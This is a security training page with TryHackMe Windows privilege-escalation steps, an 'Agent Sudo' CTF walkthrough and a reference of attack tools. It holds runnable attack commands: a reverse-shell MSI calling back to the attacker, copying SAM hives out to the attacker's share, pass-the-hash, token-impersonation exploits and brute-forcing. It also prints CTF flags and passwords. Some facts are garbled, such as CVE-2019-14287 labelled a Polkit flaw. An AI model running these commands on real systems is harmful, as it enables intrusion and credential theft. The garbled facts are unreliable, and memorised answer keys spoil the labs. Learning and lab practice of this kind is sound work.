Step 8.1: Query AlwaysInstallElevated registry keys
reg query HKCU\SOFTWARE\Policies\Microsoft\Windows\Installer /v AlwaysInstallElevated
reg query HKLM\SOFTWARE\Policies\Microsoft\Windows\Installer /v AlwaysInstallElevated
Expected: Both keys set to 0x1 (1).
Step 8.2: Generate malicious MSI payload
# On Kali
msfvenom -p windows/x64/shell_reverse_tcp LHOST=YOUR_IP LPORT=53 -f msi -o reverse.msi
Step 8.3: Transfer and execute MSI
# Copy reverse.msi to C:\PrivEsc\ (via SMB)
# Start listener on Kali
sudo nc -nvlp 53
# Install MSI as SYSTEM (no user interaction)
msiexec /quiet /qn /i C:\PrivEsc\reverse.msi
🛡️ Defensive Takeaways
- AlwaysInstallElevated must be set to 0 (disabled) in both HKLM and HKCU
- Audit group policy for this setting regularly
- Use WinPEAS/PowerUp to detect this misconfiguration
📌 Task 9: Passwords — Registry Autologon
Step 9.1: Query registry for Autologon credentials
reg query "HKLM\Software\Microsoft\Windows NT\CurrentVersion\winlogon"
✅ Answer:
password123 (may vary; if not present, script on VM can regenerate)
Step 9.2: Authenticate using discovered credentials
# On Kali
winexe -U 'admin%password123' //MACHINE_IP cmd.exe
🛡️ Defensive Takeaways
- Never store plaintext credentials in registry
- Use LAPS (Local Administrator Password Solution) for local admin passwords
- Disable Autologon in production environments
📌 Task 10: Passwords — Saved Credentials (cmdkey)
Step 10.1: List saved credentials
cmdkey /list
Expected: Saved credentials for 'admin' user.
Step 10.2: Run reverse shell with saved credentials
# Start listener on Kali
sudo nc -nvlp 53
# Run as admin using saved credentials
runas /savecred /user:admin C:\PrivEsc\reverse.exe
🛡️ Defensive Takeaways
- Saved credentials in Windows Vault should be strictly controlled
- Regularly audit
cmdkey /liston workstations - Remove unnecessary saved credentials
📌 Task 11: Passwords — Security Account Manager (SAM)
Step 11.1: Locate SAM/SYSTEM backups
dir C:\Windows\Repair\
Expected: SAM and SYSTEM backup files.
Step 11.2: Transfer files to Kali
copy C:\Windows\Repair\SAM \\YOUR_KALI_IP\kali\
copy C:\Windows\Repair\SYSTEM \\YOUR_KALI_IP\kali\
Step 11.3: Extract hashes with creddump7
# On Kali
git clone https://github.com/Tib3rius/creddump7
pip3 install pycrypto
python3 creddump7/pwdump.py SYSTEM SAM
✅ Answer: (Hash varies — use hashcat to crack)
Step 11.4: Crack NTLM hash
hashcat -m 1000 --force ADMIN_HASH /usr/share/wordlists/rockyou.txt
# or
john --format=nt ADMIN_HASH --wordlist=/usr/share/wordlists/rockyou.txt
🛡️ Defensive Takeaways
- Never leave backup copies of SAM files in accessible locations
- Secure the Windows\Repair directory with proper ACLs
- Use Credential Guard to protect NTLM hashes
📌 Task 12: Passwords — Passing the Hash
Step 12.1: Use pth-winexe to authenticate with hash
pth-winexe -U 'admin%FULL_HASH_WITH_LM:NTLM_HASH' //MACHINE_IP cmd.exe
Format: admin%aad3b435b51404eeaad3b435b51404ee:NTLM_HASH (LM hash can be all zeros)
🛡️ Defensive Takeaways
- Enable Credential Guard to prevent pass-the-hash attacks
- Use Restricted Admin mode for RDP
- Implement Windows Defender Credential Guard
📌 Task 13: Scheduled Tasks
Step 13.1: Inspect scheduled task script
type C:\DevTools\CleanUp.ps1
Script runs as SYSTEM every minute.
Step 13.2: Check file permissions
C:\PrivEsc\accesschk.exe /accepteula -quvw user C:\DevTools\CleanUp.ps1
Expected: User has write permission.
Step 13.3: Append reverse shell execution
echo C:\PrivEsc\reverse.exe >> C:\DevTools\CleanUp.ps1
Step 13.4: Wait for scheduled task
# Start listener on Kali
sudo nc -nvlp 53
# Wait up to 1 minute for task execution
🛡️ Defensive Takeaways
- Scheduled task scripts must be writable only by administrators
- Store scripts in protected directories with proper ACLs
- Monitor scheduled task modifications via Event ID 4698
📌 Task 14: Insecure GUI Apps
Step 14.1: Launch AdminPaint
# From RDP session as user, double-click AdminPaint desktop shortcut
Step 14.2: Verify admin privileges
tasklist /V | findstr mspaint.exe
Expected: mspaint.exe running with admin privileges.
Step 14.3: Escape to command prompt
# In Paint: File → Open
# In filename field, paste: file://c:/windows/system32/cmd.exe
# Press Enter
🛡️ Defensive Takeaways
- Do not run GUI applications as administrator
- Apply application whitelisting (AppLocker)
- Remove unnecessary GUI tools from servers
📌 Task 15: Startup Apps
Step 15.1: Check Startup folder permissions
C:\PrivEsc\accesschk.exe /accepteula -d "C:\ProgramData\Microsoft\Windows\Start Menu\Programs\StartUp"
Expected: BUILTIN\Users have write permission.
Step 15.2: Create shortcut with reverse shell
cscript C:\PrivEsc\CreateShortcut.vbs
Step 15.3: Trigger on admin login
# Start listener on Kali
sudo nc -nvlp 53
# RDP as admin
rdesktop -u admin MACHINE_IP
🛡️ Defensive Takeaways
- Restrict write permissions on Startup folder
- Audit Startup folder contents regularly
- Use AutoRuns to monitor startup persistence
📌 Task 16: Token Impersonation — Rogue Potato
SeImpersonatePrivilege and SeAssignPrimaryTokenPrivilege
Step 16.1: Set up socat redirector on Kali
sudo socat tcp-listen:135,reuseaddr,fork tcp:MACHINE_IP:9999
Step 16.2: Get LOCAL SERVICE shell
# From admin RDP session (run as administrator)
C:\PrivEsc\PSExec64.exe -i -u "nt authority\local service" C:\PrivEsc\reverse.exe
Step 16.3: Run RoguePotato to escalate
# In LOCAL SERVICE reverse shell
C:\PrivEsc\RoguePotato.exe -r YOUR_KALI_IP -e "C:\PrivEsc\reverse.exe" -l 9999
✅ Answer:
SeImpersonatePrivilege❓ Question 6: Name the other user privilege that allows this exploit to work.
✅ Answer:
SeAssignPrimaryTokenPrivilege
🛡️ Defensive Takeaways
- Remove SeImpersonatePrivilege from service accounts
- Run services as Network Service or Virtual Accounts
- Enable Credential Guard and Windows Defender
📌 Task 17: Token Impersonation — PrintSpoofer
Step 17.1: Get LOCAL SERVICE shell
# From admin RDP session (run as administrator)
C:\PrivEsc\PSExec64.exe -i -u "nt authority\local service" C:\PrivEsc\reverse.exe
Step 17.2: Run PrintSpoofer to escalate
# In LOCAL SERVICE reverse shell
C:\PrivEsc\PrintSpoofer.exe -c "C:\PrivEsc\reverse.exe" -i
🛡️ Defensive Takeaways
- Disable Print Spooler if not needed (
Stop-Service Spooler; Set-Service Spooler -StartupType Disabled) - Apply Microsoft patches for PrintNightmare (CVE-2021-34527)
- Remove SeImpersonatePrivilege from service accounts
📌 Task 18: Privilege Escalation Scripts — Automation
Four tools are pre-installed on the VM at C:\PrivEsc\:
| Tool | Purpose | Command Example |
|---|---|---|
| winPEASany.exe | Comprehensive Windows privilege escalation scanner | C:\PrivEsc\winPEASany.exe |
| Seatbelt.exe | Security configuration analyzer | C:\PrivEsc\Seatbelt.exe -group=all |
| PowerUp.ps1 | PowerShell privilege escalation checker | powershell -ep bypass -f C:\PrivEsc\PowerUp.ps1; Invoke-AllChecks |
| SharpUp.exe | C# port of PowerUp | C:\PrivEsc\SharpUp.exe |
🛡️ Defensive Takeaways
- Run these tools on your own systems to find vulnerabilities before attackers do
- Integrate WinPEAS into weekly security audits
- Use Seatbelt for compliance checking against security baselines
📋 Complete Windows PrivEsc Attack Path Summary
| Technique | Misconfiguration | Defense |
|---|---|---|
| Insecure Service Permissions | Users can modify service binary path | Restrict SERVICE_CHANGE_CONFIG |
| Unquoted Service Path | Path with spaces, no quotes | Quote paths, restrict directory write |
| Weak Registry Permissions | Users can modify service registry key | Restrict registry ACLs |
| Insecure Service Executable | World-writable service binary | icacls to restrict write access |
| AlwaysInstallElevated | MSI installs run as SYSTEM | Disable policy (set to 0) |
| Registry Autologon | Plaintext credentials in registry | Disable Autologon, use LAPS |
| Saved Credentials | cmdkey saved admin creds | Audit and remove saved creds |
| SAM Backups | World-readable SAM/SYSTEM backup | Secure C:\Windows\Repair\ ACLs |
| Scheduled Tasks | Writable task script | chmod 700 on task scripts |
| Insecure GUI Apps | Admin GUI app allows shell escape | Don't run GUI as admin |
| Startup Folder | Writable Startup directory | Restrict ACLs on Startup folder |
| Token Impersonation | SeImpersonatePrivilege enabled | Remove privilege, patch Print Spooler |
🧠 Key Learning Points — Windows PrivEsc
🛠️ Technical Skills Mastered
- Service enumeration with
scandaccesschk - Registry permission auditing
- MSI payload generation with msfvenom
- Pass-the-Hash authentication
- SAM hash extraction and cracking
- Token impersonation with Rogue/PrintSpoofer
- Automated enumeration with WinPEAS
📊 Defensive Mindset
- Principle of Least Privilege
- Secure service configuration baselines
- Credential Guard and LAPS
- File integrity monitoring
- Regular security auditing
- Patch management prioritization
• TryHackMe — Windows PrivEsc Room
• Tib3rius/creddump7 — SAM Hash Extraction
• RoguePotato — Token Impersonation
• PrintSpoofer — Token Impersonation
• Microsoft LAPS Documentation
🧪 Lab 27.1 – Agent Sudo (User-Agent Enum → Root Access)
This TryHackMe CTF room focuses on HTTP User-Agent enumeration, FTP exploitation, steganography, and Linux privilege escalation through CVE exploitation. The lab demonstrates a complete attack chain from reconnaissance to root access.
⚠️ Time: 45 minutes | Difficulty: Easy
🔍 Phase 1: Port Scanning & Service Discovery
Initial reconnaissance to identify open ports and running services.
nmap -A -Pn -p- <TARGET_IP> --min-rate 5000
- Port 21: FTP (vsftpd 3.0.3)
- Port 22: SSH (OpenSSH 7.6p1)
- Port 80: HTTP (Apache 2.4.29)
How many open ports?
3 (21, 22, 80)
🌐 Phase 2: Web Enumeration & User-Agent Manipulation
The web server responds differently based on User-Agent headers. Fuzzing reveals hidden content.
# Directory enumeration
feroxbuster --url http://<TARGET_IP> -w /usr/share/seclists/Discovery/Web-Content/common.txt
# User-Agent fuzzing with curl
curl -H "User-Agent: Agent1" http://<TARGET_IP>
curl -H "User-Agent: Agent2" http://<TARGET_IP>
curl -H "User-Agent: Agent3" http://<TARGET_IP>
curl -H "User-Agent: AgentX" http://<TARGET_IP>
curl -H "User-Agent: Agent" http://<TARGET_IP>
How you redirect yourself to a secret page?
user-agent
What is the agent name?
Agent
📁 Phase 3: FTP Access & File Analysis
The secret page reveals an agent name. Use this for FTP brute force.
# FTP brute force with Hydra
hydra -l chris -P /usr/share/wordlists/rockyou.txt ftp://<TARGET_IP>
# Connect to FTP with discovered credentials
ftp <TARGET_IP>
Username: chris
Password: [discovered from rockyou.txt]
# Download all files
ftp> mget *
ftp> quit
cutie.png- Image fileTo_agentJ.txt- Text messagecute-alien.jpg- Another imagecute-alien.jpg- Duplicate name?
FTP password?
crystal (from rockyou.txt)
Who is the other agent (in full name)?
james
🖼️ Phase 4: Steganography & Archive Extraction
Analyze images for hidden data and extract protected ZIP archives.
# Check image metadata
exiftool cute-alien.jpg
# Steganography extraction attempts
steghide extract -sf cute-alien.jpg
# When prompted for passphrase, use discovered credentials
# Alternative steg cracking
stegcracker cute-alien.jpg /usr/share/wordlists/rockyou.txt
# ZIP file password cracking
zip2john 8702.zip > zip.hash
john zip.hash --wordlist=/usr/share/wordlists/rockyou.txt
# Extract ZIP with discovered password
7z e 8702.zip
- Steg password: Found from To_agentJ.txt
- ZIP password: Cracked with John
- Hidden message: Base64 encoded
Zip file password?
alien
Steg password?
Area51
SSH password?
hackerrules!
🔑 Phase 5: SSH Access & User Flag Capture
Use discovered credentials to access SSH and find user flag.
# SSH connection with james credentials
ssh james@<TARGET_IP>
Password: hackerrules!
# Find user flag
find / -name "*flag*" -type f 2>/dev/null
cat /home/james/user.txt
# Check for interesting files
ls -la /home/james/
cat /home/james/Alien_autospy.jpg.txt
/home/james/user.txt
/home/james/Alien_autospy.jpg.txt
What is the user flag?
b03d975e8c92a7c04146cfa7a5a313c7
What is the incident of the photo called?
Roswell alien autopsy
🚀 Phase 6: Privilege Escalation (CVE Exploitation)
The system is vulnerable to a specific CVE allowing privilege escalation.
# Check sudo permissions
sudo -l
# Check kernel version
uname -a
# Linux ... 4.15.0-xx-generic
# Research exploits for kernel version
searchsploit "Linux Kernel 4.15"
# Exploit the CVE (example: CVE-2019-14287)
# Download and compile exploit
wget https://github.com/berdav/CVE-2019-14287/raw/main/pwnkit.c
gcc pwnkit.c -o pwnkit
chmod +x pwnkit
# Execute exploit
./pwnkit
whoami # Should show root
# Alternative method using sudo
sudo -U#-1 /bin/bash
Kernel Version: 4.15.0-xx
Vulnerability: Polkit/Pkexec LPE
CVE: CVE-2019-14287
CVE number for the escalation?
CVE-2019-14287
What is the root flag?
b53a02f55b57d4439e3341834d70c062
Who is Agent R?
DesKel
🔐 Phase 7: Data Decoding Techniques
Various encoding methods used throughout the challenge.
# Base64 decoding (common in CTFs)
echo "VW1rZmVtYjN0Z3R2" | base64 -d
# Using CyberChef alternative
# Website: https://gchq.github.io/CyberChef/
# Vim base64 decoding
vim message.txt
# In vim: :%!base64 -d
# File content examination
cat message.txt | base64 -d
cat encoded_file.txt | tr 'A-Za-z' 'N-ZA-Mn-za-m' # ROT13
📋 Complete Command Reference
| Phase | Command | Purpose |
|---|---|---|
| Scanning | nmap -A -Pn -p- IP --min-rate 5000 |
Fast full port scan |
| Web Enum | feroxbuster --url http://IP |
Directory brute force |
| UA Fuzzing | curl -H "User-Agent: X" http://IP |
HTTP header manipulation |
| FTP Brute | hydra -l chris -P rockyou.txt ftp://IP |
FTP password cracking |
| FTP Access | ftp IP → mget * |
Download all FTP files |
| Steganography | steghide extract -sf image.jpg |
Extract hidden data |
| ZIP Cracking | zip2john file.zip > hash |
Extract ZIP hash |
| ZIP Cracking | john hash --wordlist=rockyou.txt |
Crack ZIP password |
| Archive Extract | 7z e file.zip |
Extract ZIP file |
| Base64 Decode | echo "string" | base64 -d |
Decode base64 |
| SSH Access | ssh james@IP |
Remote shell access |
| PrivEsc | sudo -U#-1 /bin/bash |
Alternative priv esc |
Lab Completion Checklist
- ✓ Completed port scanning (3 ports open)
- ✓ Discovered User-Agent vulnerability (Agent)
- ✓ Cracked FTP password (crystal)
- ✓ Extracted steganography data (Area51)
- ✓ Cracked ZIP password (alien)
- ✓ Found SSH credentials (james:hackerrules!)
- ✓ Captured user flag
- ✓ Exploited CVE-2019-14287 for root
- ✓ Captured root flag
- ✓ Identified Agent R (DesKel)
This walkthrough is for the TryHackMe "Agent Sudo" room only. All techniques should be practiced in authorized environments only. Unauthorized access to computer systems is illegal.
Module 28 : OffSec — The Labs
This module is designed to introduce learners to Offensive Security (OffSec) lab environments and methodologies, following the “Try Harder” philosophy. The labs focus on manual enumeration, exploitation chaining, privilege escalation, pivoting, and real-world penetration testing workflows.
Unlike guided CTFs, OffSec labs emphasize independent problem solving, detailed note-taking, and professional reporting — closely mirroring the OSCP (PEN-200) exam experience.
Creating an OffSec Account & Lab Access
Before starting any OffSec (Offensive Security) labs, learners must create an OffSec account and activate access to the OffSec learning portal. This step is mandatory for accessing PWK / PEN-200 and OSCP-style labs.
Purpose:
Account creation provides access to the OffSec learning library, lab environments,
VPN configuration files, and exam-related resources.
Official Signup Page:
Use the following link to create a free OffSec account:
Official OffSec Signup Link:
https://portal.offsec.com/checkout/embed/sign-up/pen-200
This signup page allows you to register for OffSec learning resources and begin your journey toward PWK / OSCP-style labs.
Step-by-Step Account Creation Process:
📌 Step 1: Open the OffSec Signup Page
Open the official OffSec signup link in your browser. Ensure you are using a valid and accessible email address.
📌 Step 2: Fill in Registration Details
Complete the registration form with accurate information.
- Enter your full name
- Provide a valid email address
- Select your country and region
- Accept OffSec terms and conditions
📌 Step 3: Verify Email Address
After submitting the form, OffSec will send a verification email.
- Check your inbox (and spam folder)
- Click the verification link
- Confirm your email address
📌 Step 4: Activate Account & Complete Profile
Once email verification is complete, log in to the OffSec portal and finish setting up your account.
- Set a unique username
- Create a strong password
- Update profile details if required
📌 Step 5: Sign In to the OffSec Learning Portal
After account activation, sign in to the OffSec portal to access learning materials and lab-related information.
OffSec Sign-In Page:
https://portal.offsec.com/sign-in
📌 Step 6: Prepare for Lab Access
After logging in, you will be able to:
- Browse available courses (PEN-100, PEN-200, etc.)
- Purchase or activate lab access
- Download VPN configuration files
- Review lab rules and policies
Use a strong, unique password and store your OffSec credentials securely. You will use this account throughout your lab practice and certification journey.
Always use the official OffSec portal for account creation. Never share your login credentials with anyone.
OffSec labs are authorized environments. Techniques learned must never be applied to real-world systems without explicit permission.
CEH Core Tools & Practical Usage
This module introduces the most important tools used in CEH for reconnaissance, scanning, enumeration, password attacks, and exploitation. Each tool is defined briefly with its primary command.
Tools.1 Nmap – Network Scanning & Enumeration
Nmap (Network Mapper) is one of the most widely used reconnaissance and scanning tools in ethical hacking. It is primarily used to identify live hosts, open ports, running services, and operating system details within a target network.
Information Gathering:
Nmap collects information such as IP addresses of active hosts, open
TCP/UDP ports, service versions (HTTP, FTP, SSH, etc.), operating system
fingerprints, firewall rules, and network topology.
How Nmap Works:
Nmap sends specially crafted packets (TCP SYN, ACK, UDP, ICMP) to the
target system and analyzes the responses. Based on how the target replies
(or fails to reply), Nmap determines whether ports are open, closed, or
filtered. Service and OS detection compare responses against a large
fingerprint database.
How It Is Used:
Ethical hackers use Nmap to map the attack surface before exploitation.
Defenders use it to audit networks and verify security configurations.
nmap -sV -A target_ip
Tools.2 Gobuster – Directory & DNS Bruteforcing
Gobuster is a brute-force enumeration tool used to discover hidden directories, files, and DNS subdomains that are not publicly linked on websites.
Information Gathering:
Gobuster reveals hidden admin panels, backup files, APIs, configuration
files, and subdomains that can expand the attack surface.
How Gobuster Works:
Gobuster uses wordlists and systematically sends HTTP or DNS requests
to the target. When a valid response code (200, 301, 302) is received,
the path or subdomain is considered valid.
How It Is Used:
Attackers use Gobuster to find hidden entry points. Defenders use it to
identify exposed resources and harden web servers.
gobuster dir -u http://target -w wordlist.txt
Tools.3 Feroxbuster – High-Speed Web Content Discovery
Feroxbuster is a modern, high-speed web content discovery tool designed to quickly enumerate hidden files and directories.
Information Gathering:
Feroxbuster identifies hidden paths, nested directories, API endpoints,
and development files that may contain sensitive data.
How Feroxbuster Works:
Built with asynchronous requests and recursion, Feroxbuster aggressively
scans directories and automatically follows discovered paths to uncover
deeper content.
How It Is Used:
Ethical hackers prefer Feroxbuster for large targets due to its speed and
recursive scanning capabilities.
feroxbuster -u http://target
Tools.4 Dirb – Legacy Directory Enumeration
Dirb is a classic directory brute-force tool commonly referenced in CEH for foundational understanding of web enumeration.
Information Gathering:
Dirb discovers hidden directories and files using predefined wordlists.
How Dirb Works:
Dirb sends HTTP requests for each wordlist entry and checks server
responses to identify valid paths.
How It Is Used:
Used for small-scale enumeration and learning basic brute-force concepts.
dirb http://target
Tools.5 Hydra – Online Password Attacks
Hydra is a powerful password attack tool used to test login credentials against various network services.
Information Gathering:
Hydra helps identify weak passwords, valid usernames, and authentication
weaknesses in online services.
How Hydra Works:
Hydra performs rapid login attempts by combining usernames and password
lists against supported protocols such as SSH, FTP, HTTP, SMB, RDP, and more.
How It Is Used:
Hydra is typically used after service discovery and
enumeration, when the attacker knows a service is running and reachable.
📌 Basic Syntax
hydra -l user -P passwords.txt target service
📌 SSH Brute Force Using RockYou Wordlist
hydra -l username -P /usr/share/wordlists/rockyou.txt ssh://IP -V
- -l → Single username
- -P → Password list
- ssh://IP → Target service and IP address
- -V → Verbose mode (shows each attempt)
📌 Multiple Usernames Attack
hydra -L users.txt -P /usr/share/wordlists/rockyou.txt ssh://IP
📌 HTTP Login Form Attack (POST Method)
hydra -l admin -P /usr/share/wordlists/rockyou.txt 127.0.0.1 http-post-form \ "/login:user=^USER^&password=^PASS^:Login failed"
Hydra is an online attack tool. Excessive attempts may lock accounts, trigger alerts, or block your IP.
Use Hydra ONLY on systems you own or have explicit written permission to test. Unauthorized use is illegal.
Tools.6 Metasploit (msfconsole) – Exploitation Framework
Metasploit is a modular exploitation framework used to develop, test, and execute exploits against vulnerable systems.
Information Gathering:
Metasploit confirms vulnerabilities, exploit success, and post-exploitation
access.
How Metasploit Works:
It combines exploits, payloads, and auxiliary modules to automate
exploitation and post-exploitation activities.
How It Is Used:
Used after scanning and enumeration to gain shells and control systems.
msfconsole
Tools.7 WPScan – WordPress Security Scanner
WPScan is a specialized WordPress vulnerability scanner used to identify security issues in WordPress websites, including weak credentials, vulnerable plugins, themes, and core files.
Information Gathering:
WPScan enumerates WordPress users, installed plugins, themes, WordPress versions,
and detects known vulnerabilities using its continuously updated database.
How WPScan Works:
WPScan performs passive and active analysis of a WordPress site by sending crafted
HTTP requests and comparing responses against its vulnerability database.
How It Is Used:
Used during WordPress penetration testing after web service discovery to identify
misconfigurations, outdated components, and weak credentials.
Common WPScan Commands:
wpscan --update
wpscan --url https://notestime.in/ -e
wpscan --url https://notestime.in/ -e -p /usr/share/wordlists/rockyou.txt
wpscan --url https://notestime.in/ -U shekhar -p /usr/share/wordlists/rockyou.txt
Tools.8 WhatWeb – Website Technology Fingerprinting
WhatWeb is a web reconnaissance tool used to identify technologies, frameworks, CMS platforms, web servers, and security headers used by a target website.
Information Gathering:
WhatWeb detects CMS types, server software, programming languages,
JavaScript libraries, analytics tools, and HTTP response headers.
How WhatWeb Works:
WhatWeb analyzes HTTP responses, page content, headers, cookies, and
fingerprints to match known technology signatures.
How It Is Used:
Used during the reconnaissance and enumeration phase to understand
the target’s web stack before vulnerability assessment.
whatweb https://example.com
Tools.9 Netcat – Network Utility & Listener Tool
Netcat (nc) is a versatile networking tool often referred to as the “Swiss Army Knife” of networking. It is widely used for port listening, banner grabbing, file transfers, and creating reverse or bind shells.
Information Gathering:
Netcat can capture raw network data, receive inbound connections, observe
transmitted commands, and verify open ports and active services.
How Netcat Works:
Netcat reads and writes data across network connections using TCP or UDP.
When used in listening mode, it waits for incoming connections on a specified
port.
How It Is Used:
Commonly used during exploitation and post-exploitation phases to receive
reverse shells, test connectivity, or act as a simple network listener.
nc -lvnp 1234
Tools.10 SMB Enumeration Tools – smbmap, smbclient, rpcclient, enum4linux
SMB (Server Message Block) enumeration is used to discover shared folders, users, permissions, and misconfigurations on Windows and Samba servers.
These tools are commonly used during internal network assessments and Active Directory enumeration.
📌 smbmap – SMB Share & Permission Discovery
smbmap checks accessible SMB shares and permissions using provided credentials.
smbmap -u USERNAME -p PASSWORD -H IP
📌 smbclient – Connect to SMB Shares
smbclient allows interactive access to SMB shares, similar to an FTP client.
smbclient \\\\IP\\SHARE -U USERNAME
📌 rpcclient – Remote Procedure Call Enumeration
rpcclient is used to query users, groups, and domain information from Windows systems.
rpcclient -U USERNAME -N IP
- -U → Username
- -N → No password (null session)
📌 enum4linux – Automated SMB Enumeration
enum4linux automates SMB enumeration by combining multiple techniques into a single scan.
enum4linux -a IP
SMB enumeration is often blocked by firewalls and modern Windows hardening. Null sessions may not work on patched systems.
Use these tools only on systems you own or have explicit written permission to test. Unauthorized SMB access is illegal.
Tools.11 NFS Enumeration – showmount, mount
NFS (Network File System) allows remote systems to share directories over a network. Misconfigured NFS shares can expose sensitive files and sometimes lead to privilege escalation.
NFS enumeration is commonly performed during internal network assessments and Linux privilege escalation.
📌 What Can Go Wrong with NFS?
- World-readable shared directories
- No authentication required
- Writable shares mounted as root
- Misuse of
no_root_squashoption
📌 showmount – Discover Exported NFS Shares
showmount queries an NFS server to list exported directories that are available to clients.
showmount -e IP
- -e → Show exported file systems
- IP → Target NFS server
📌 mount – Mounting an NFS Share Locally
Once a share is discovered, it can be mounted locally for inspection.
mkdir /mnt/nfs
mount -t nfs IP:/shared_directory /mnt/nfs
- -t nfs → Specify NFS file system type
- IP:/shared_directory → Remote NFS share
- /mnt/nfs → Local mount point
📌 What to Look For After Mounting
- Configuration files (
.conf,.env) - SSH keys
- Backup files
- Scripts run by cron jobs
- Files owned by root
If the NFS share uses
no_root_squash, files created as root
on the client may remain owned by root on the server.
📌 Unmounting the Share
umount /mnt/nfs
NFS enumeration and mounting must only be performed on systems you own or have explicit written permission to test. Unauthorized access is illegal.
Tools.12 John – Password Cracking
John the Ripper is a classic password cracking tool widely used for learning and practicing offline password attacks.
Information Gathering:
John is used after password hashes are obtained from systems,
databases, or configuration files.
How John Works:
John compares hashed passwords against wordlist entries by hashing
each word and matching the result.
How It Is Used:
Commonly used in CTFs and penetration testing to crack weak or reused
passwords during post-exploitation.
john --wordlist=/usr/share/wordlists/rockyou.txt hash.txt
john --show hash.txt
📌 ssh2john – Convert SSH Keys to Crackable Hashes
ssh2john is a helper utility used with John the Ripper to convert encrypted SSH private keys into a hash format that John can crack.
It is commonly used after obtaining SSH private keys during post-exploitation, NFS/SMB enumeration, or backup file discovery.
ssh2john id_rsa > hash.txt
- id_rsa → Encrypted SSH private key
- hash.txt → Output file containing the converted hash
hash.txt is then cracked using John the Ripper.
Hash Generation with openssl passwd
The openssl passwd command generates password hashes using various algorithms.
This is commonly used for creating password entries in Linux systems (like /etc/shadow)
or for password cracking exercises.
📌 MD5-based Crypt Hash (Apache htpasswd style)
Command: Using -1 flag for MD5-based crypt with custom salt
openssl passwd -1 -salt THM password1
Result: $1$THM$bAZqDlusyTKK4kMQp8d2a.
- -1 → Use MD5-based crypt algorithm
- -salt THM → Use "THM" as the salt value
- password1 → The plaintext password to hash
📌 All Available Hash Types with openssl passwd
Common crypt-style password hashing algorithms supported by openssl passwd.
These formats are widely encountered in Linux systems, configuration files, and CTF challenges.
| Algorithm | OpenSSL Command | Description / Usage |
|---|---|---|
| Traditional Unix Crypt (DES) | openssl passwd -crypt -salt TH password1 |
Legacy DES-based crypt using a 2-character salt. Rare today, but still appears in old Unix systems and exams. |
| MD5-Crypt (Standard Linux) | openssl passwd -1 -salt THM password1 |
Standard MD5-based crypt format used in older Linux systems. Fast and weak; commonly cracked in CTFs. |
| APR1 (Apache MD5-Crypt) | openssl passwd -apr1 -salt THM password1 |
Apache-specific MD5-crypt format used in .htpasswd files.
|
| SHA-256 Crypt | openssl passwd -5 -salt THM password1 |
SHA-256 based crypt format supported by modern Linux systems. More secure than MD5-crypt. |
| SHA-512 Crypt | openssl passwd -6 -salt THM password1 |
Default and recommended password hash format for modern Linux distributions. Strong and widely supported. |
| bcrypt (Limited Support) | openssl passwd -bcrypt password1 |
Adaptive hashing algorithm resistant to brute-force attacks. Support depends on OpenSSL version. |
| Extended DES Crypt | openssl passwd -crypt password1 |
Extended DES-based crypt variant. Mostly obsolete but still referenced in legacy systems. |
📌 Alternative Hash Generation Methods
For CTFs and penetration testing, you might need other hash formats:
📌 mkpasswd – Linux Password Hash Generator
mkpasswd (from the whois package) is a Linux utility used to
generate crypt-style password hashes similar to openssl passwd.
It is commonly used by system administrators and in CTF environments.
mkpasswd -m md5 password1
mkpasswd -m sha-256 password1
mkpasswd -m sha-512 password1
📌 htpasswd – Apache Authentication Hashes
htpasswd is used to create authentication hashes for Apache-protected
directories and web applications, such as .htpasswd files.
htpasswd -nbm user password1 # MD5
htpasswd -nbs user password1 # SHA-1
htpasswd -nbB user password1 # bcrypt
📌 Hashcat – Hash Generation (Utility Mode)
Hashcat can generate hashes using its stdout mode. This is useful for testing hash formats and verifying cracking rules.
hashcat --stdout password1 -a 0 -m 0 # MD5
hashcat --stdout password1 -a 0 -m 100 # SHA-1
hashcat --stdout password1 -a 0 -m 1400 # SHA-256
📌 Coreutils – Raw Hash Digests
These commands generate raw cryptographic digests, not crypt-style password hashes. They are commonly found in databases, APIs, and application source code.
echo -n "password1" | md5sum
echo -n "password1" | sha1sum
echo -n "password1" | sha256sum
echo -n "password1" | sha512sum
📌 Practical Usage Examples
1. Creating a user with specific password hash:
# Generate the hash
HASH=$(openssl passwd -1 -salt THM password1)
# Create user with this hash (requires root)
useradd -m -p "$HASH" testuser
2. Creating htpasswd file for Apache authentication:
openssl passwd -apr1 -salt THM password1 >> .htpasswd
•
-n flag with echo prevents newline from being included in hash• Salts should be random for production use (8+ characters recommended)
• Modern systems use SHA-512 ($6$) by default for better security
MD5-based crypt hashes are considered weak and vulnerable to brute force attacks. Always use SHA-256 or SHA-512 for production systems when possible.
These techniques should only be used on systems you own or have explicit permission to test. Creating unauthorized password hashes for access attempts is illegal.
Tools.14 FFUF – Web Fuzzing
FFUF (Fuzz Faster U Fool) is a modern and fast web fuzzing tool used to discover hidden content and parameters.
Information Gathering:
FFUF helps identify hidden directories, files, parameters,
and virtual hosts in web applications.
How FFUF Works:
FFUF injects wordlist payloads into HTTP requests and analyzes
server responses to find valid or interesting results.
How It Is Used:
Commonly used during web enumeration to replace or enhance
traditional directory brute-force tools.
ffuf -u http://target/FUZZ -w /usr/share/wordlists/dirb/common.txt
Image Steganography Tools
Steganography is the art of hiding information within other files, such as images. These tools help discover and extract hidden data from image files during CTF challenges and security assessments.
1. Steghide – Hidden Data Extraction
Steghide is a steganography program that hides data in various kinds of image and audio files. It supports JPEG, BMP, WAV, and AU formats, using encryption and password protection.
Steghide is available directly from official Linux repositories.
Installation: Available via Linux package managers or official sources.
# Update package list
sudo apt update
# Install steghide
sudo apt install steghide -y
# Verify installation
steghide --help
Usage: Common commands for using this tool effectively.
# List supported file formats
steghide --help
# Embed data into an image
steghide embed -cf image.jpg -ef secret.txt -p "mypassword"
# Extract hidden data
steghide extract -sf image.jpg -p "mypassword"
# Get information about embedded file
steghide info image.jpg
- -cf → Carrier file (image to hide data in)
- -ef → Embedded file (file to hide)
- -sf → Stegofile (file containing hidden data)
- -p → Password for encryption/decryption
Advanced Analysis Techniques
For complex steganography challenges, these techniques combine multiple tools:
2. Zsteg – LSB & Bit-Plane Analysis
Zsteg specializes in detecting steganography in PNG and BMP files. It can extract data hidden in different bit planes and color channels.
Installation: Available via Linux package managers or official sources.
# Install Ruby (if not already installed)
sudo apt install ruby-full -y
# Install zsteg
sudo gem install zsteg
# Verify installation
zsteg --help
Usage: Common commands for using this tool effectively.
# Basic detection
zsteg image.png
# Extract data from specific bit plane
zsteg -E "b1,rgb,lsb,xy" image.png > extracted.png
# Check all combinations
zsteg -a image.png
# Extract all possible data
zsteg -e "*" image.png
# Check for specific types
zsteg image.png | grep -i "text\|flag\|secret"
- -a → Run all detection methods automatically
